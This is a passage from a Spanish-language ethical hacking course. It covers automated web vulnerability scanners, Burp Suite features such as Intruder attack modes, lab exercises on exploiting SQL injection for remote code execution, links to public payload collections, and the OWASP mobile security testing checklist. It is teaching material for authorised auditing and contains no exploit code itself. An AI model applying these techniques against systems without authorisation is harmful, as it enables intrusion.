Como extensiones concretas de OWASP ZAP y Burp la versión de pago de Burp tiene una
funcionalidad llamada “Generate CSRF POC” que facilita al auditor la tarea de probar la existencia de
este tipo de vulnerabilidad.

Script

OWASP tiene un script para facilitar la detección de esta vulnerabilidad llamado CSRFTester.

169/265
3.7. Analizadores automáticos
Una vez que se han visto los principales tipos de vulnerabilidades, para detectarlos en una auditoría de
aplicaciones web, una de las herramientas que se tienen disponibles son los analizadores automáticos.

Estos analizadores son programas cuyo cometido es la detección de vulnerabilidades de la aplicación

web objetivo. Se les proporciona la URL sobre la que buscar vulnerabilidades y se encargan de realizar
todas las pruebas. Una vez que finaliza, mostrará todas las vulnerabilidades detectadas.

El problema de estas aplicaciones es que no detectan todas las vulnerabilidades presentes en la

aplicación web y que, normalmente, presentan falsos positivos, por lo que no se pueden utilizar los
resultados de estas herramientas como veraces al 100 % y descartar aquellas vulnerabilidades que no
sean reales. Además de esto, hay que tener en cuenta los falsos negativos que son las vulnerabilidades
existentes en la aplicación que los analizadores automáticos no son capaces de detectar. Esto es lo que
hace que estas herramientas solo deban ser un apoyo en la realización de las auditorías y que el
grueso de la auditoría se deba realizar a mano, con técnicas de detección y explotación de
vulnerabilidades realizadas directamente por el equipo de auditoría.

El analizador automático ideal sería aquel cuyo resultado tiene el menor número posible de falsos
negativos y de falsos positivos.

A continuación, se van a exponer distintos analizadores automáticos disponibles de manera gratuita

que se pueden utilizar como ayuda en una auditoría web:

3.7.1 OWASP ZAP

Esta herramienta es muy similar a Burp, pertenece al proyecto de OWASP e incluye el escáner web de
manera gratuita. Una vez interceptada la petición de la aplicación web objetivo se envía a escanear y se
espera hasta obtener los resultados.

170/265
Imagen 4.46. OWASP ZAP - Escáner.
Fuente: captura de la herramienta OWASP ZAP.

Imagen 4.47. OWASP ZAP – Vulnerabilidades encontradas.

Fuente: captura de la herramienta OWASP ZAP.

Los resultados obtenidos a través de ZAP suelen tener pocos falsos positivos, pero se deja
vulnerabilidades sin detectar, por lo que siempre tendremos que hacer el análisis manual.

3.7.2. Vega

Vega es un analizador de vulnerabilidades Open Source multiplataforma, escrito en Java, que nos
permite realizar las siguientes funciones:

Análisis de vulnerabilidades

171/265
 Realización de un crawler (copia del sitio web)
Análisis de contenido
Modificación manual de paquete HTTP gracias a un proxy.

La herramienta tiene módulos para realizar ataques típicos del OWASP como XSS, SQL Injection,
Directorio transversal, URL Injection, detección de errores en la logica del sitio.

Vega posee dos modos de uso: el modo proxi, el cual es útil a la hora de interceptar peticiones, y el
modo escáner que nos permitirá encontrar vulnerabilidades en un sitio.

En el modo escáner podemos diferenciar tres paneles móviles que nos permiten una clara lectura del
estado del análisis, dejando mucha visibilidad de la información obtenida.

Imagen 4.48. Vega – Pantalla principal.

Fuente: captura de la herramienta Vega.

3.7.3. Arachni

Arachni es otro analizador web, bastante potente y con un buen porcentaje de hallazgos respecto a
falsos positivos y falsos negativos. Su uso es muy intuitivito y se puede ejecutar tanto desde línea de
comandos como a través de la interfaz web que proporciona.

172/265
Imagen 4.49. Arachni – Vulnerabilidades encontradas.
Fuente: captura de la herramienta Arachni.

3.7.4. Otros

En este apartado se van a nombrar varios analizadores, en este caso de pago, que el auditor debe al
menos conocer, ya que en entornos profesionales son muy comunes.

Burp Suite Professional: como se ha visto durante todo el módulo, Burp es una herramienta
que proporciona un gran número de funcionalidades. En su versión de pago, añade el escáner
de vulnerabilidades. Este escáner se puede ejecutar sobre toda la aplicación o bien, sobre URL
que como auditores detectemos que pueden ser vulnerables, y ejecutarlo únicamente en ellas.
Esto hace que el tiempo de escaneo de vulnerabilidades sea menor y esté centrado en aquellas
que sean más susceptibles.
Acunetix: es quizás el analizador de vulnerabilidades web por excelencia. Su uso es muy
intuitivo y proporciona gran calidad en los resultados.

IV. Anexo I: Burp Suite

Burp Suite es una herramienta para llevar a cabo análisis de seguridad de aplicaciones web. Es
considerada una navaja suiza, ya que integra dentro de una única herramienta diferentes funcionalidades
con diferentes objetivos que nos van a ayudar a la hora de detectar y explotar vulnerabilidades.

URL: https://portswigger.net/burp

173/265
 Esta herramienta está desarrollada en Java y es multiplataforma, por lo que está disponible para todos
los sistemas operativos. Es una de las muchas herramientas que vienen preinstaladas en KALI.

Existen dos versiones de esta herramienta. En este módulo vamos a hablar en detalle de la versión
gratuita, pero es importante conocer que existe una versión de pago que añade características y es la que
se utilizará en entornos profesionales.

Burp Suite Community Edition: versión gratuita, funcionalidades limitadas (restricciones de

tiempo) en algunas funcionalidades.
Burp Suite Professional: versión de pago, incluye escáner de vulnerabilidades y sin
restricciones de tiempo en las funcionalidades (velocidad a la hora de ejecutar el intruder).

Las características principales de Burp Suite son:

Proxy
Intercepta peticiones mediante proxy, lo que permite examinar y modificar el tráfico entre el
navegador y la aplicación de destino.

Spider
Araña web, para rastreo de contenido y funcionalidad. Inspecciona la aplicación de manera recursiva
hasta completarla por completo

Intruder
Herramienta de intrusión para realizar ataques personalizados de manera automática para identificar y
explotar vulnerabilidades de seguridad.

Repeater
Herramienta de repetidor para manipular y reenviar solicitudes individuales.

Sequencer
Herramienta para analizar el grado de aleatoriedad de los tokens de sesión de las aplicaciones.

Decoder
Herramienta para transformar datos codificados a texto claro o de texto claro a codificado. Permite
distintos tipos de codificaciones.

Comparer
Permite comparar varias peticiones para ver si hay cambios en la información enviada.

Scanner
Escáner avanzado para automatizar la detección de numerosos tipos de vulnerabilidades ( disponible
en la versión PRO).

Guardar

Capacidad de guardar el trabajo y continuar más tarde.

174/265
 Extensible

Permite implementar de manera sencilla plugins propios, para realizar tareas complejas o bien,
instalar plugins ya desarrollados de la BApp Store.

4.1. Configuración
Para configurar Burp y ponerlo en funcionamiento son necesarios dos pasos: por un lado, configurar el
programa y, por otro lado, configurar el navegador para que envíe las peticiones al proxy definido.

Configuración del proxy de Burp

Accedemos a la pestaña "Proxy" dentro de esta, a la pestaña "Options", definimos la IP y el puerto

en el apartado "Proxy Listeners", en el que Burp se pondrá a escuchar. En esta ventana también se
podrán ajustar los parámetros de captura para interceptar las peticiones o las respuestas que nos
interesen en función de unas reglas basadas en expresiones regulares (imagen 4.50).

Imagen 4.50. Burp – Configuración del proxy.

Fuente: captura de la herramienta Burp Suite.

175/265
 Configuración del navegador

Cuando hayamos configurado el proxy en Burp Suite, debemos configurar el navegador para que
redirija las peticiones al proxy. Para ello, se debe acceder a la configuración del navegador (Firefox) o
configuración del sistema (IE y Chrome). En la siguiente captura se observa el ejemplo en Firefox
(imagen 4.51.).

Imagen 4.51. Navegador – Configuración del proxy.

Fuente: captura del navegador Firefox.

Ahora ya estamos preparados para interceptar y manipular las comunicaciones HTTP entre el
navegador y el servidor. En la imagen 4.52. se ha interceptado una petición HTTP. Tenemos varias
opciones, como continuar (forward) o saltarla ( drop).

En caso que prefiramos que la captura sea transparente, debemos pulsar la opción "Intercept" y ponerla
en "Off".

176/265
Imagen 4.52. Burp – Petición HTTP interceptada.
Fuente: captura de la herramienta Burp Suite.

4.2. Características
En la imagen 4.53. tenemos el interfaz de Burp Suite. La suite se compone de diferentes herramientas
organizadas por pestañas: Target, Proxy, Spider, Scanner (funcional solo en la versión de pago),
Intruder, Repeater, Sequencer, Decoder, Comparer, Extender, Options y Alerts.

Imagen 4.53. Burp – Pestañas.

Fuente: captura de la herramienta Burp Suite.

177/265
Target

En la pestaña "Target" tenemos todas las URL: ya sea capturadas a través del proxy, mediante el
web crawler o el escáner de vulnerabilidades.

La imagen 4.54. nos muestra la estructura de la aplicación objetivo.

Imagen 4.54. Burp – Pestaña Target.

Fuente: captura de la herramienta Burp Suite.

Spider

Otra pestaña muy útil es " Spider", donde podemos activar o desactivar el motor de web crawling.
En esta ventana nos indica el estado del crawling (imagen 4.55.).

178/265
Imagen 4.55. Burp – Spider.
Fuente: captura de la herramienta Burp Suite.

Otra forma de activar el spider es pulsar botón derecho encima de una URL en la pestaña "Target",
como se puede ver en la imagen 4.56.

179/265
Imagen 4.56. Burp – Spider this host.
Fuente: captura de la herramienta Burp Suite.

E l spider de Burp Suite es rápido, sencillo y transparente, pero en ocasiones puede requerir de
nuestra intervención, por ejemplo, al enviar información a un formulario.

En la imagen 4.57. spider detectó un formulario y nos pregunta si envía la información por defecto
o queremos realizar alguna modificación o simplemente ignorar el formulario. Por lo general, los
formularios son un vector de ataque que debemos explorar a conciencia.

180/265
Imagen 4.57. Burp – Spider: Submit form.
Fuente: captura de la herramienta Burp Spider.

Scanner

El scanner de vulnerabilidades de Burp Suite es muy bueno, aunque solo se incluye en la versión
de pago. Si nos dedicamos profesionalmente a la auditoría web, sin duda, es una herramienta que
debemos comprar (imagen 4.58.).

Imagen 4.58. Burp – Scanner.

Fuente: captura de la herramienta Burp Suite.

A parte del spider, al pulsar botón derecho y abrirse el menú, tenemos muchas opciones
interesantes como son el "Intruder", "Repeater", etc. En la imagen 4.59, podemos ver el menú.

181/265
Imagen 4.59. Burp – Enviar petición a distintas herramientas.
Fuente: captura de la herramienta Burp Suite.

Intruder

La pestaña "Intruder" contiene una de las funcionalidades más interesantes, que consiste en la
automatización de peticiones con el objetivo de detectar y explotar vulnerabilidades.

Para configurarlo, se le debe enviar la petición web en la que se cree que puede existir una
vulnerabilidad y seleccionar el parámetro que vamos a ir modificando en cada petición para estudiar si
el comportamiento de la aplicación se ve alterado.

182/265
Imagen 4.60. Burp – Intruder.
Fuente: captura de la herramienta Burp Suite.

Sobre la variable o variables seleccionadas se pueden enviar distintos tipos de ataques, dependiendo
del objetivo que estemos buscando:

Sniper: en este tipo de ataque, se fijarán todos los parámetros excepto uno, en el que se
probarán todas las opciones posibles del payload seleccionado.
Battering ram : permite la carga de un único payload por lo que, si hay más de un
parámetro, se utilizarán los mismos datos en todas las posiciones simultáneamente.
Pitchfork: se prueba cada entrada del payload con su correspondiente en orden del resto de
bloques de datos; es decir, el primer elemento del payload de la primera posición con el
primer elemento del de la segunda posición marcada, el segundo con el segundo y así
sucesivamente.
Cluster bomb: en este caso, teniendo varias posiciones en las que automatizar el proceso, el
ataque se realizará de manera que se prueben todos los valores de un parámetro contra todas
las posibles combinaciones de valores del resto.

183/265
Playloads

En la pestaña "Payloads" se configuran las opciones del payload en detalle:

Imagen 4.61. Burp – Intruder, configuración de payloads.

Fuente: captura de la herramienta Burp Suite.

184/265
Repeater

En la pestaña "Repeater" tenemos otra utilidad que nos permite modificar y reenviar una petición
para ver el resultado rápidamente. Esto es útil para explotar vulnerabilidades (imagen 4.62.).

Imagen 4.62. Burp – Repeater.

Fuente: captura de la herramienta Burp Suite.

185/265
 Comparer

Otra utilidad es "Comparer", que permite comparar peticiones y respuestas entre sí para ver las
diferencias (imagen 4.63.).

Imagen 4.63. Burp – Comparer.

Fuente: captura de la herramienta Comparer en Burp Suite.

A continuación, vamos a comentar dos de los puntos más fuertes de Burp Suite: la BApp Store y el
API.

186/265
BApp Store

Nos permite descargar plugins de la tienda oficial. La mayoría de plugins funcionan con la versión
gratis, pero otros requieren utilizar la versión de pago.

Podemos encontrar todo tipo de mejoras y diferentes escáneres de vulnerabilidades realmente

útiles. En la imagen 4.64. podemos ver los diferentes plugins disponibles y que podemos descargar.

Imagen 4.64. Burp – BApp Storre.

Fuente: captura de la herramienta Burp Suite.

187/265
 API

El otro punto fuerte de Burp Suite es la API, la cual podemos utilizar para escribir nuestras propias
herramientas o automatizar tareas.

Estos plugins se escriben en Java o Python. La documentación es aceptable, pero es mejor leer el
código de los diferentes ejemplos.

En la imagen 4.65. podemos ver el API de Burp Suite.

Imagen 4.65. Burp – API.

Fuente: captura de la herramienta Burp Suite.

Existen multitud de tipos de vulnerabilidades aplicables a las aplicaciones web, algunas de estas
vulnerabilidades son comunes a todas las aplicaciones web y otras en función de la tecnología
empleada.

V. Resumen
A lo largo de esta unidad hemos aprendido que las auditorías de aplicaciones web son una parte
esencial dentro de las auditorías de seguridad debido a que, hoy en día, las aplicaciones web constituyen
una parte sumamente importante del software corporativo de la mayoría de empresas.

188/265
 En este contexto, ha sido esencial trabajar las diferentes vulnerabilidades web por las que pueden
verse afectadas las aplicaciones y, para ello, nos hemos centrado en proyectos como la guía top ten de
OWASP.

Para llevar a cabo este tipo concreto de auditoría, hemos estudiado la metodología, en la que
mencionamos los controles de seguridad que se deben realizar sobre las aplicaciones web.

Más adelante en esta unidad, hemos estudiado las fases que deben formar una auditoría web,
explicando en detalle cada una de ellas: planificación, recolección de información (donde se han
trabajado las técnicas de footprinting y fingerprinting), ejecución y elaboración del informe.

Además de estas fases, nos hemos centrado en la parte de vulnerabilidades con el fin de conocer
cuáles podemos encontrar en las aplicaciones y qué acciones debemos realizar para detectarlas.

Así, es importante que recordemos las formas de recopilación de información, búsqueda de

vulnerabilidades, entre ellas, ataques de inyección, Cross Site Scripting , Local o Remote File
Inclusion o Cross Site Request Forgery .

Finalmente, con respecto a estos tipos de vulnerabilidades, hemos trabajado con herramientas de
análisis automático que podemos emplear para detectarlas, pero siempre teniendo en cuenta que es
importante que el groso de la auditoría se realice a mano.

189/265
Ejercicios

Ejercicio propuesto 1

Entra en la web https://www.hackthebox.eu y utiliza las técnicas aprendidas para conseguir el

código de invitación.

Ejercicio propuesto 2

Descarga la ISO XSS and MySQL FILE de la web:

https://pentesterlab.com/exercises/xss_and_mysql_file

y aplica las técnicas aprendidas para conseguir explotar una inyección de SQL y conseguir la
ejecución remota de código.

En el siguiente enlace https://pentesterlab.com/exercises/xss_and_mysql_file/course puedes ver

paso a paso cómo resolver el ejercicio.

190/265
Recursos

Enlaces de Interés
https://www.owasp.org/index.php/Main_Page:
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project:
https://www.owasp.org/images/1/19/OTGv4.pdf:
https://portswigger.net/burp/:
https://www.sno.phy.queensu.ca/~phil/exiftool/:
https://github.com/ElevenPaths/FOCA:
https://kali-linux.net/article/metagoofil/:
https://nmap.org/:
https://support.google.com/webmasters/answer/6062608?hl=es:
https://www.cvedetails.com/:
https://www.nist.gov/programs-projects/national-vulnerability-database-nvd:
https://www.owasp.org/index.php/SQL_Injection:
http://www.dvwa.co.uk/:
http://sqlmap.org/:
http://wiki.bizagi.com/es/index.php?title=Atributos_LDAP:
http://www.cse.usf.edu/~ligatti/papers/code-inj.pdf:
https://www.exploit-db.com/docs/english/42593-command-injection---shell-injection.pdf:
https://crypto.stanford.edu/cs155/papers/CSS.pdf:
https://www.imperva.com/docs/HII_Remote_and_Local_File_Inclusion_Vulnerabilities.pdf:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF):
https://portswigger.net/burp/help/suite_functions_csrfpoc.html:
https://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project/es:
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project:
http://www.arachni-scanner.com/:
https://www.acunetix.com/:
http://portswigger.net/burp/proxy.html:

Bibliografía

191/265
Cross-Site Scripting (XSS) attacks and defense mechanisms: classification and state-of-
the-art. : Gupta, S. and Gupta, B. (2017). Cross-Site Scripting (XSS) attacks and defense
mechanisms: classification and state-of-the-art.
Implantación de aplicaciones web en entornos internet, intranet y extranet . : Cardador
Cabello, A. (2014). Implantación de aplicaciones web en entornos internet, intranet y extranet .
1st ed. Málaga: IC Editorial.
Acunetix. : https://www.acunetix.com/
Arachni. : http://www.arachni-scanner.com/
BeEF. : http://beefproject.com/
Bing Hacking Database. : http://pastebin.com/d2WcnJqA
Blind SQLi. :

https://www.exploit-db.com/docs/english/17397-blind-sql-injection-with-regular-
expressions-attack.pdf
https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-
16-alonso-parada-wp.pdf

Burp Suite.: https://portswigger.net/burp/

Code injection. : http://www.cse.usf.edu/~ligatti/papers/code-inj.pdf
Combinaciones de Google para hacking. : https://www.exploit-db.com/google-hacking-
database/
Command injection. : https://www.exploit-db.com/docs/english/42593-command-injection---
shell-injection.pdf
Cross Site Scripting (XSS). : https://crypto.stanford.edu/cs155/papers/CSS.pdf
CSRF. :

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://people.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf

CVE Details.: https://www.cvedetails.com/

DVWA. : http://www.dvwa.co.uk/
Exiftool.: https://www.sno.phy.queensu.ca/~phil/exiftool/
FOCA.: https://www.elevenpaths.com/es/labstools/foca-2/index.html
Generate CSRF POC. : https://portswigger.net/burp/help/suite_functions_csrfpoc.html
Inyecciones LDAP. : http://wiki.bizagi.com/es/index.php?title=Atributos_LDAP
LFI/RFI. :
https://www.imperva.com/docs/HII_Remote_and_Local_File_Inclusion_Vulnerabilities.pdf
Metagoofil.: https://kali-linux.net/article/metagoofil/
NIST Vulnerability Database.: https://www.nist.gov/programs-projects/national-
vulnerability-database-nvd

192/265
Nmap.: https://nmap.org/
OWASP CSRF Tester. :
https://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project/es
OWASP Testing Guide v4.: https://www.owasp.org/images/1/19/OTGv4.pdf
OWASP ZAP. : https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Página oficial de Kali Linux. : https://www.kali.org/downloads/
Página principal del OWASP Top 10. : http://www.owasp.org/index.php/Top_10
Payloads. :

https://github.com/trietptm/SQL-Injection-Payloads
https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/sql-injection/payloads-
sql-blind

Payloads. :

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20injection
https://github.com/infosec-au/fuzzdb/blob/master/attack-payloads/ldap/ldap-
injection.fuzz.txt

Payloads. :

http://www.xss-payloads.com/
http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html

Payloads. :
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-
%20Path%20Traversal
Robots.: https://support.google.com/webmasters/answer/6062608?hl=es
Shodan. : https://www.shodan.io/
SQL injection. :

https://www.owasp.org/index.php/SQL_Injection
https://www.exploit-db.com/docs/english/33253-sql-injection-in-insert,-update-and-
delete-statements.pdf

SQLmap. : http://sqlmap.org/
Wiki del OWASP Top 10.:
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
XSS DOM. :

http://www.sumanfootprints.com/src/isa12.pdf
https://www.blackhat.com/docs/asia-15/materials/asia-15-Johns-Client-Side-
Protection-Against-DOM-Based-XSS-Done-Right-(tm).pdf

193/265
Glosario.

Analizadores automáticos: Programas cuyo cometido es la detección de vulnerabilidades

web de la aplicación web objetivo. Se les proporciona la URL sobre la que buscar
vulnerabilidades y se encargan de realizar todas las pruebas. Una vez que finaliza, mostrará
todas las vulnerabilidades detectadas.

Code injection: Introducir código que es interpretado y ejecutado por la aplicación.

Command injection: Ejecución de comandos de sistema operativo a través de la aplicación

web. Los comandos serán ejecutados en el servidor de aplicaciones. Se trata de intentar
ejecutar los comandos sobre una shell y, en caso de tener éxito, los comandos serán ejecutados
con los privilegios que tenga asociada la aplicación web vulnerable.

Cross-Site Request Forgery (CSRF): Engañar a un usuario legítimo para que ejecute
peticiones o acciones sin su consentimiento (no sabe que esas peticiones se están realizando
desde su usuario).

DOM (document object model): Objetos creados por el propio navegador para parsear la
web y el contenido que muestra el servidor. Estos objetos se identifican a través de etiquetas
HTML.

File inclusion: Incluir archivos a la propia aplicación. Una aplicación será vulnerable a este
ataque si no realiza una correcta validación de entradas de datos, que tiene lugar cuando la
aplicación no controla los parámetros enviados por el usuario de la manera correcta, como se
ha visto previamente.

Fingerprinting: Recolección de información a través de la interacción con la aplicación. Se

obtiene del rastro que dejan los sistemas. Esta información se puede obtener de manera pasiva,
por ejemplo, interceptando el tráfico de red que se produce al navegar por la aplicación para su
posterior estudio

Footprinting: Recolección de información pública disponible en internet. Puede ser

información publicada por la propia organización de manera consciente o no. Al ser datos
públicos, el objetivo no tiene manera de detectar que están recopilando datos de él.

LDAP injection : Inyecciones sobre aplicaciones que trabajan sobre un LDAP (Protocolo
Ligero de Acceso a Directorios), protocolo para permitir accesos a un servicio de directorio
ordenado y distribuido para buscar información en un entorno de red. Estas inyecciones buscan
inyectar caracteres de búsqueda LDAP en una consulta para que sea ejecutada por la
aplicación.

194/265
 Metadatos: Datos que describen otros datos y son propios de los archivos. De aquí se puede
obtener información como nombres de empleados de la organización, sistemas operativos,
software y versiones que tiene la organización instalados en sus equipos.

SQL injection: Atacar la base de datos de la aplicación a través de peticiones en las que se
inserta código SQL con el objetivo de que se ejecute en la base de datos.

XSS almacenado: Su funcionamiento es similar al XSS reflejado, la diferencia se encuentra

en que en esta ocasión la inyección de código queda almacenada en la base de datos de la
aplicación y será ejecutada cada vez que un usuario acceda a la página web que cargue esa
información.

XSS basado en DOM: Se diferencia de los anteriores en que no interviene el servidor de las
aplicaciones web, sino a través de Query Strings en funciones u otras variables que permiten la
inyección de código en la aplicación web.

XSS reflejado: El envío a través de una petición web de código malicioso para su ejecución
en el navegador de la víctima.

195/265
Auditoría de aplicaciones móviles

I. Introducción a la auditoría de aplicaciones móviles

Con la continua evolución tecnológica, el entorno empresarial ha integrado las aplicaciones

móviles en su modelo de negocio para interactuar tanto con los servicios internos, como para
proveer de aplicaciones comerciales. Estas aplicaciones manejan información sensible y, en
algunos casos, acceden a los recursos internos de la organización, por lo que es necesario
realizar auditorías de seguridad antes de la puesta en producción.

En los siguientes apartados, se exponen las diferentes pruebas que deben constituir una
auditoría de aplicaciones móviles, para garantizar la confidencialidad de la información
adaptándose al escenario cambiante de las amenazas y poder adelantarse al riesgo.

II. Objetivos
Al igual que en la unidad anterior, en esta parte del módulo de Hacking Ético se pretende conseguir
que el estudiante aplique el conocimiento aprendido a la auditoría específica de aplicaciones móviles
centrándonos, sobre todo, en aplicaciones iOS y Android.

Para ello es necesario tener un conocimiento adecuado sobre la estructura de estas aplicaciones, así
como de la guía OWASP Mobile Security Testing Guide que utilizaremos frecuentemente en este tipo de
auditorías.

A lo largo de la unidad, el estudiante aprenderá cómo realizar diferentes técnicas necesarias para la
auditoría de seguridad como el análisis estático o dinámico de aplicaciones de iOS y Android, además
del uso de herramientas específicas para trabajar con aplicaciones de cada sistema operativo.

III. Metodología
Las revisiones de seguridad sobre aplicaciones móviles siguen las pautas marcadas por la guía de
pruebas de OWASP Mobile Security Testing Guide . Esta guía está destinada a proporcionar a los
equipos de seguridad los recursos necesarios para verificar si las aplicaciones móviles no constituyen un
riesgo capaz de comprometer la seguridad de la información almacenada en el dispositivo móvil, la
información transmitida y los recursos gestionados por la aplicación.

3.1. Riesgos de seguridad en aplicaciones móviles

El objetivo de esta metodología es clasificar los riesgos de seguridad en aplicaciones móviles y
proporcionar controles para reducir su impacto o probabilidad de explotación.

196/265
 Antes de profundizar en las pruebas de seguridad, resulta oportuno exponer el top ten de riesgos en
aplicaciones móviles definido por OWASP:

Imagen 5.1. OWASP Top 10 Riesgos Móviles.

Fuente: OWASP.
M1 – Uso no adecuado de la plataforma

Los vectores de ataque se corresponden con los vectores tradicionales de OWASP, las llamadas al
API y los servicios web expuestos que utilizan las aplicaciones móviles, constituyen puntos de
entrada de los vectores de ataque.

M2 – Almacenamiento inseguro de datos

Si los datos almacenados en el dispositivo no han sido correctamente securizados, sería posible
acceder a la información sensible mediante el acceso físico al dispositivo o haciendo uso de software
malicioso.

M3 – Comunicaciones inseguras

El vector de explotación consiste en monitorizar la red para detectar comunicaciones inseguras

mediante ataques de Man-in-the-Middle que permitan capturar el tráfico entre la aplicación y el
servidor.

M4 – Autenticación no segura

Se identifican vulnerabilidades en el proceso de autenticación, para engañar o evitar la

autenticación enviando peticiones al servidor e interactuar directamente con los servicios publicados.

197/265
 M5 – Criptografía insuficiente

Los vectores de ataque incluyen el descifrado de los datos almacenados en el dispositivo, así como
los datos capturados a través de la red, debido al uso de protocolos no seguros o algoritmos de cifrado
deprecados.

M6 – Autorización no segura

Se identifican vulnerabilidades en el proceso de autorización, para autenticarse en el aplicativo

como un usuario legítimo evadiendo el control de autenticación de forma satisfactoria.

M7 – Mala calidad del código

Se explotan las vulnerabilidades mediante el envío de parámetros no controlados por la aplicación y

así provocar desbordamientos de búfer y errores a nivel de código.

M8 – Manipulación del código

Una vez que la aplicación se instala en el dispositivo, el código y los datos residen en él. Se podría
alterar el comportamiento del mismo, modificar directamente el código, los datos contenidos de la
memoria de forma dinámica, reemplazar las API del sistema que utiliza la aplicación o modificar los
datos y recursos de la aplicación.

M9 – Ingeniería inversa

Se analiza el código fuente del aplicativo para identificar las librerías, algoritmos y recursos
embebidos en la aplicación mediante el uso de herramientas de desensamblado de código y
debuggers.

M10 – Funcionalidad extraña

Se identifican funcionalidades ocultas o puertas traseras en las aplicaciones móviles, así como
funcionalidades o características que no deberían estar presentes en entornos de producción, habiendo
sido incluidas de forma accidental por los desarrolladores.

3.2. Pruebas seguridad en aplicaciones móviles

En el siguiente apartado, se abordarán sobre una perspectiva general las pruebas de seguridad sobre
aplicaciones móviles, las cuales incluyen:

198/265
 1

Revisión de la aplicación móvil implementada en el dispositivo móvil del usuario final.

Revisión de los datos transmitidos entre el aplicativo y el servidor.

3
Revisión de la infraestructura en el lado del servidor con la que se comunica la aplicación.

La OWASP Mobile Security Testing Guide (MSTG) es una guía de pruebas para evaluar la seguridad
de las aplicaciones móviles en la cual se describen los procesos técnicos para verificar los requerimientos
definidos en Mobile Application Security Verification Standard (MASVS), que establece el nivel de
confidencialidad en la seguridad de las aplicaciones móviles.

Esta guía incluye una lista de pruebas agrupadas en las siguientes categorías:

Imagen 5.2. OWASP Mobile Security Testing Guide (MSTG).

Fuente: OWASP.

3.2.1. Pruebas de arquitectura, diseño y modelo de amenazas

Esta categoría cubre los requerimientos correspondientes a la arquitectura y el diseño de las

aplicaciones móviles.

Verificar si los componentes de la aplicación han sido identificados y son necesarios.

Verificar si todos los componentes de terceros utilizados por la aplicación móvil, como
librerías y frameworks, han sido identificados y chequeados por si presentan vulnerabilidades.

199/265
 Verificar si la arquitectura a alto nivel del aplicativo móvil, y los servicios a los que invoca,
presentan requerimientos de seguridad.
Verificar si todos los componentes de la aplicación han sido definidos de acuerdo al modelo de
negocio y las prestaciones de seguridad que proveen.
Verificar si se ha establecido el modelado de amenazas para el aplicativo móvil y los servicios
remotos, que presenta amenazas potenciales y contramedidas.
Verificar si todos los controles de seguridad tienen una implementación centralizada.
Verificar si los componentes que no forman parte de la aplicación, pero que son necesarios
para su operativa, han sido claramente identificados y se conocen las implicaciones de
seguridad debido a su uso.
Verificar si los endpoints remotos comprueban que el usuario está empleando la última versión
del aplicativo.
Verificar si ha sido establecida una política para la gestión de llaves criptográficas y se hace
cumplir el ciclo de vida de las mismas, siguiendo el estándar NIST SP 800-57.
Verificar si se han ejecutado las pruebas de seguridad como parte del ciclo de vida del
desarrollo del aplicativo.

3.2.2. Pruebas de almacenamiento de datos y privacidad

El almacenamiento de datos sensibles, como credenciales o información privada, es un aspecto clave

en la seguridad móvil. En este sentido, se abordarán los requerimientos correspondientes al
almacenamiento de datos y la privacidad de los mismos.

Verificar si las capacidades para el almacenamiento de credenciales que provee el sistema se

utilizan adecuadamente para almacenar información sensible, como son las credenciales de
usuario o llaves criptográficas.
Verificar que no se almacenan datos sensibles en los registros de log del aplicativo.
Verificar que no se comparten datos sensibles con terceras partes, salvo que sea necesario
como parte de la arquitectura.
Verificar si el almacenamiento caché del teclado está deshabilitado en las entradas de texto que
procesan información sensible.
Verificar si el portapapeles ha sido desactivado en las entradas de texto que contienen
información sensible.
Verificar si los mecanismos IPC ( Interprocess communication) no exponen información
sensible.
Verificar que las contraseñas y los números de tarjetas de crédito no se muestran en la interfaz
de usuario o resultan en fugas de información mediante capturas de pantalla.
Verificar que no hay datos sensibles incluidos en la información de backup.
Verificar que la aplicación elimina la información sensible de las vistas cuando está en
background.
Verificar que la aplicación no almacena datos sensibles en memoria más tiempo del necesario y
se limpia explícitamente después de su uso.

200/265
3.2.3. Pruebas de criptografía

La criptografía es un ingrediente esencial en materia de protección del almacenamiento de datos en el

dispositivo. El propósito de estas pruebas es asegurar que el aplicativo utiliza la criptografía acorde a las
buenas prácticas definidas en esta industria.

Verificar que la aplicación no utiliza algoritmos de cifrado simétricos, con claves hardcodeadas
en el código como único método de cifrado.
Verificar que la aplicación utiliza primitivas criptográficas demostradas científicamente.
Verificar que la aplicación utiliza primitivas criptográficas que son apropiadas para cada caso
de uso en particular, configuradas con parámetros que se ajusta a las buenas prácticas de la
industria.
Verificar que la aplicación no utiliza algoritmos de cifrado deprecados o inseguros.
Verificar que la aplicación no reutiliza la misma clave de cifrado para múltiples
funcionalidades.
Verificar que los valores aleatorios han sido generados utilizando algoritmos de generación de
números aleatorios seguros.

3.2.4. Pruebas de autenticación y gestión de la sesión

Esta sección define los requerimientos básicos en relación a la gestión de las cuentas de usuario y las
sesiones.

Verificar que la aplicación implementa un método de autenticación seguro con el servicio

remoto.
Verificar que el servidor remoto genera de forma aleatoria tokens de acceso para autenticar las
peticiones del usuario, sin enviar constantemente las credenciales del usuario.
Verificar que el servicio remoto finaliza la sesión una vez que el usuario cierra su sesión en el
aplicativo.
Verificar que existe una política de contraseñas robusta ejecutada por el servicio remoto.
Verificar que el servicio remoto implementa una política de bloqueo de usuario de forma
temporal, cuando se realizan numerosos intentos de inicio de sesión fallidos comprendidos en
un periodo de tiempo.
Verificar que la autenticación biométrica no ha sido implementada mediante una API que
devuelve “verdadero” o “falso” según sea válida o no la comprobación, sino que esté basada en
desbloqueos del keychain/keystore.
Verificar que la sesión de usuario finaliza pasado un tiempo de inactividad.

3.2.5. Pruebas de comunicaciones

El propósito de los controles definidos en esta sección es asegurar la confidencialidad y la integridad

de la información intercambiada entre el aplicativo móvil y los servicios remotos.

201/265
 Verificar que los datos transmitidos en la red van cifrados utilizando TLS. Se debe utilizar un
canal seguro en las transmisiones de datos.
